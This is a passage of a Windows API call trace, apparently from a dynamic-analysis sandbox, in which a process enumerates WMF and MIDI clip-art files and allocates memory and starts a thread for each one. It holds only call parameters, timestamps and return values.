	[0196.171] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1238
	[0196.176] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.177] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1
	[0196.177] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x123c
	[0196.809] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.834] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1
	[0196.836] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1214
	[0196.843] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.844] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1
	[0196.844] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1210
	[0196.847] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.847] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1
	[0196.847] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1240
	[0196.849] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.850] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1
	[0196.850] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1244
	[0196.852] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.853] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x72, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1
	[0196.853] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1248
	[0196.855] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.855] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x72, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1
	[0196.855] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124c
	[0196.860] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.861] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x72, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1
	[0196.861] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1250
	[0196.862] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.863] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x72, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1
	[0196.863] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1254
	[0196.865] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.866] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x72, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1
	[0196.866] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1258
	[0196.869] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.869] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x72, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1
	[0196.869] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x125c
	[0196.873] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.873] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x72, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1
	[0196.873] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1260
	[0196.875] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.876] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x72, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1
	[0196.876] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1264
	[0197.159] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.160] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x72, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1
	[0197.160] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1268
	[0197.162] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.163] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x72, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1
	[0197.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x126c
	[0197.165] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.166] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1
	[0197.166] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1270
	[0197.169] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.169] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1
	[0197.169] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1274
	[0197.172] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.173] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1
	[0197.173] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1278
	[0197.175] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.176] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1
	[0197.176] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x127c
	[0197.178] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.178] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1
	[0197.178] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1280
	[0197.181] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.181] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1
	[0197.181] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1284
	[0197.183] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.184] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1
	[0197.184] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1288
	[0197.187] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.188] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1
	[0197.188] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128c
	[0197.191] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.192] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1
	[0197.192] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1290
	[0197.344] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.373] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1
	[0197.373] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1294
	[0197.399] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.400] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1
	[0197.400] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1298
	[0197.413] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.414] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1
